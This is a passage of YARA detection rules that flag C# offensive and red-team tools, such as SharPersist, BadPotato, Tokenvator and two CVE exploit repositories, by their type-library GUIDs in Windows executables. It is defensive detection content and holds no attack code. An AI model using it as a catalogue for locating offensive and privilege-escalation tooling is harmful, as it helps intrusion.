		$typelibguid2lo = "a2091d2f-6f7e-4118-a203-4cea4bea6bfa" ascii wide
		$typelibguid3lo = "950ef8ce-ec92-4e02-b122-0d41d83065b8" ascii wide
		$typelibguid4lo = "d51301bc-31aa-4475-8944-882ecf80e10d" ascii wide
		$typelibguid5lo = "823ff111-4de2-4637-af01-4bdc3ca4cf15" ascii wide
		$typelibguid6lo = "5d28f15e-3bb8-4088-abe0-b517b31d4595" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpfruit : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "bf318530-b17d-5275-84b2-c284528bdae6"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rvrsh3ll/SharpFruit"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2538-L2551"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "da59a7c8fb038171a560d337a49f33a28a2ea88e4c7b08df12eaeb85906c0753"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3da2f6de-75be-4c9d-8070-08da45e79761" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwitness : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5e707da6-b2dd-511e-89ad-d19b93e8fca6"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rasta-mouse/SharpWitness"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2553-L2566"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9a9bc18362347f55b77ec275ad377da9e72ac8a65cab06a867ae55b61b69e7cd"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b9f6ec34-4ccc-4247-bcef-c1daab9b4469" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Rexcrypter : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5ebbeab3-3e93-5544-8f74-3d1b47335d8b"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/syrex1013/RexCrypter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2568-L2581"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fc8bd8eaa3561431bc8886de74b1d569d5fa1f2de7f866146669b4e918a3bf30"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "10cd7c1c-e56d-4b1b-80dc-e4c496c5fec5" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpersist : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0c181186-7bb4-502b-8937-60cfd88ce689"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/fireeye/SharPersist"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2583-L2596"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "265f42a83973cacb82d4ff12db210ad6cb10265acc38724ed895dc772cf7855e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9d1b853e-58f1-4ba5-aefc-5c221ca30e48" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2019_1253 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3e18b533-1b85-5eaf-bb3d-aa5b90fd2e28"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/padovah4ck/CVE-2019-1253"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2598-L2611"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f365dcec83696032370192d95312999d3baa950379472b99af17687a501dfa9c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "584964c1-f983-498d-8370-23e27fdd0399" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Scout : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "cd24cca7-3bc0-5e7a-9817-dc3b26ec8358"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/jaredhaight/scout"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2613-L2626"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b677eb07dde231e1d6d542aaafcc0350ce51a66c5396949dd0f1d41311a822b5"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "d9c76e82-b848-47d4-8f22-99bf22a8ee11" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Grouper2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "a9cd9a16-b2a5-5d15-af89-7a8d0f1835bb"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/l0ss/Grouper2/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2628-L2641"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b89180f81c4231ea03bb49631b0931b2b7e4ff9e97f44798dd50f6fa4d12b75f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "5decaea3-2610-4065-99dc-65b9b4ba6ccd" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Casperstager : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0ad18d2b-b7cc-5316-a8e8-b05d4439b8e1"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/ustayready/CasperStager"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2643-L2657"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "556dd774b6ba38371951ca416133573b0539d699671200e3accfe5bc6fbc979d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c653a9f2-0939-43c8-9b93-fed5e2e4c7e6" ascii wide
		$typelibguid1lo = "48dfc55e-6ae5-4a36-abef-14bc09d7510b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Tellmeyoursecrets : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b00c353b-0446-5faa-87e5-0a7ba6ec2286"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/0xbadjuju/TellMeYourSecrets"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2659-L2672"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b606c11986ff26d279db58c088633f39eddb41c96c2510f7738cfcef5ff4941f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9b448062-7219-4d82-9a0a-e784c4b3aa27" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpexcel4_DCOM : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "12d3f26b-40ca-5034-a7c2-9be9c8a7599b"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rvrsh3ll/SharpExcel4-DCOM"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2674-L2687"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "278eeabdfa26eec5f9e6d2fba093b4698a9813813f644b65e4e28791b600a5dc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "68b83ce5-bbd9-4ee3-b1cc-5e9223fab52b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshooter : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "a59e6fe9-dbaf-5830-8cf1-485ff4dd939a"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/mdsecactivebreach/SharpShooter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2689-L2702"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "79a63f9a24b94327b5b720c415143977c7fba088930dd94f6f2f2784770d182d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "56598f1c-6d88-4994-a392-af337abe5777" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Nomsbuild : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9bc0661d-c60f-582b-8f88-87e3dfa13ddd"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rvrsh3ll/NoMSBuild"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2704-L2718"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "df8bfecf2f983975a4885cbabc79d2b42c1281bdd918aa0fc9fa50ef75bbfe5d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "034a7b9f-18df-45da-b870-0e1cef500215" ascii wide
		$typelibguid1lo = "59b449d7-c1e8-4f47-80b8-7375178961db" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Teleshadow2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5b22f2c4-0bd1-5a5a-8867-8fbc773d2b44"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/ParsingTeam/TeleShadow2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2720-L2734"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "df4f26856b5ee348393ddb41e53bdfc8e2bed58ed9fc7b4f758cd1746431d85c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "42c5c356-39cf-4c07-96df-ebb0ccf78ca4" ascii wide
		$typelibguid1lo = "0242b5b1-4d26-413e-8c8c-13b4ed30d510" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Badpotato : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8bee12fc-fc29-5256-b559-d914ef202c0c"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/BeichenDream/BadPotato"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2736-L2749"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b78b623666279dab22c263a5a925fc665646ddcc24d1638ebe54bad2ccd5ed4c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0527a14f-1591-4d94-943e-d6d784a50549" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Lethalhta : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e8e1ad03-a5f0-5508-b78d-0de7bdaf4704"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/codewhitesec/LethalHTA"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2751-L2765"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ebcf9df0cdbab82ee2eea25479058366651746990b32e5af7cbf4da7dae8fafe"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "784cde17-ff0f-4e43-911a-19119e89c43f" ascii wide
		$typelibguid1lo = "7e2de2c0-61dc-43ab-a0ec-c27ee2172ea6" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpstat : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "649c6cc0-e43b-558c-9567-00f352af528b"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/Raikia/SharpStat"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2767-L2780"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b163520c47d593244a66ee64071147824486bde4174a5276972a3329b0271a73"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ffc5c721-49c8-448d-8ff4-2e3a7b7cc383" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sneakyservice : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d02d34f0-7aa1-5110-b7ea-670b5fb98150"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/malcomvetter/SneakyService"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2782-L2795"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3f9e4a9666875e8b70ced55924f7dae661e9be6e033bafe4efc1614fb65a7f08"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "897819d5-58e0-46a0-8e1a-91ea6a269d84" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpexec : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5faff0aa-9ffe-5ac0-b9e0-ca9f79350036"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/anthemtotheego/SharpExec"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2797-L2810"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "099c18601efc20cb50e7e463755ebda5898cce5d4a0253216a72018337da07f4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "7fbad126-e21c-4c4e-a9f0-613fcf585a71" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcom : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "94da3da4-a8aa-5735-9a04-1f2447a330aa"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/rvrsh3ll/SharpCOM"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2812-L2825"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f409d4390fbf8eea8b288e02fbe75d4ecf338a239d8015511f4a9979a1e8a7df"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "51960f7d-76fe-499f-afbd-acabd7ba50d1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Inception : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8d18f1d5-9c9a-5258-9f96-fa24b702c6ad"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/two06/Inception"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2827-L2840"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "846dfe525380eae42905a3adfbfc56f6c0e6de8abfa4f92e5f02889448dbcc29"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "03d96b8c-efd1-44a9-8db2-0b74db5d247a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwmi_1 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "cd5a1c7b-a45a-5541-b1b0-cf19c991ed22"
		date = "2020-12-28"
		modified = "2025-08-15"
		old_rule_name = "HKTL_NET_GUID_sharpwmi"
		reference = "https://github.com/QAX-A-Team/sharpwmi"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2842-L2856"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "295315b876579ee0d2eb60a44e4be643c143ec1331b155faf0ba61ab016df07f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "bb357d38-6dc1-4f20-a54c-d664bd20677e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2019_1064 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4640e874-faa4-58dc-a3f3-18246a343f15"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/RythmStick/CVE-2019-1064"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2858-L2871"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5f72f2569d7e3c1ee6fcd742e22d56331bcbf130b9f2bbc63fbc1504c6597e57"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ff97e98a-635e-4ea9-b2d0-1a13f6bdbc38" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Tokenvator : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "84ebb6b3-cf11-5172-95d4-d114bfeb0bc7"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/0xbadjuju/Tokenvator"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2873-L2886"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "45e75eee8ece293a35ac385311994cf8b23fd4f38d84bf53bd724e03ec092e4e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4b2b3bd4-d28f-44cc-96b3-4a2f64213109" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Wheresmyimplant : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c99523ce-e2c0-5a21-89d1-70c0dd970731"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/0xbadjuju/WheresMyImplant"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2888-L2901"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e25816823669753dc475c059320634203e9f9450c320baac3af0d6c996a17264"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "cca59e4e-ce4d-40fc-965f-34560330c7e6" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Naga : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3a9d3154-a8f1-57a4-8b61-498e2ebdfa42"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/byt3bl33d3r/Naga"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2903-L2917"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c579546957c1b05d5fff7ad914d4b6de22ccf216bda92972abd66b0dae89895b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "99428732-4979-47b6-a323-0bb7d6d07c95" ascii wide
		$typelibguid1lo = "a2c9488f-6067-4b17-8c6f-2d464e65c535" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbox : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "fda1a67f-d746-5ddb-a33f-97d608b13bc9"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/P1CKLES/SharpBox"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L2919-L2932"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1a52663ffad8b36d8e6be74c341fb26205b9605df35530b19ab2f4a4c454eb16"
		score = 75
		quality = 85
